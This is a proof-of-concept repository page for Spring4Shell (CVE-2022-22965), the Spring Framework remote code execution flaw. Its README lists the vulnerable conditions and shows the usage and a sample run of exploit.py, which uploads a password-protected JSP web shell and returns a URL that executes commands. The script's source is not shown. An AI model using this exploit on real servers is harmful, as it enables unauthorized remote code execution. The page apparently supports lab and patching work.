CVE-2022-22965 PoC — Spring Framework 代码注入漏洞

Source

Associated Vulnerability

Readme

# Spring4Shell: CVE-2022-22965 RCE

## Java Spring framework RCE vulnerability
These vulnerabilities affects a component "Spring Core" —  the heart of the framework 

**Current conditions for vulnerability:-**

- JDK 9+
- A vulnerable version of the Spring Framework (<5.2 | 5.2.0-19 | 5.3.0-17)
- Apache Tomcat as a server for the Spring application, packaged as a WAR
- A dependency on the spring-webmvc and/or spring-webflux components of the Spring Framework

## The exploit

```python
user@attacker:~$ ./exploit.py --help
usage: exploit.py [-h] [-f FILENAME] [-p PASSWORD] [-d DIRECTORY] url

Spring4Shell RCE Proof of Concept

positional arguments:
  url                   Target URL

optional arguments:
  -h, --help            show this help message and exit
  -f FILENAME, --filename FILENAME
                        Name of the file to upload (Default tomcatwar.jsp)
  -p PASSWORD, --password PASSWORD
                        Password to protect the shell with (Default: thm)
  -d DIRECTORY, --directory DIRECTORY
                        The upload path for the file (Default: ROOT)
```

```python
user@attacker:~$ ./exploit.py http://MACHINE_IP/
Shell Uploaded Successfully!


# OUTPUT= Your shell can be found at: http://MACHINE_IP/tomcatwar.jsp?pwd=thm&cmd=whoami
```

File Snapshot

 [4.0K]  /data/pocs/48a0dfb89196a5faf8ce2757233d415fcfcd6ee1
├── [2.4K]  exploit.py
└── [1.3K]  README.md

0 directories, 2 files

Remarks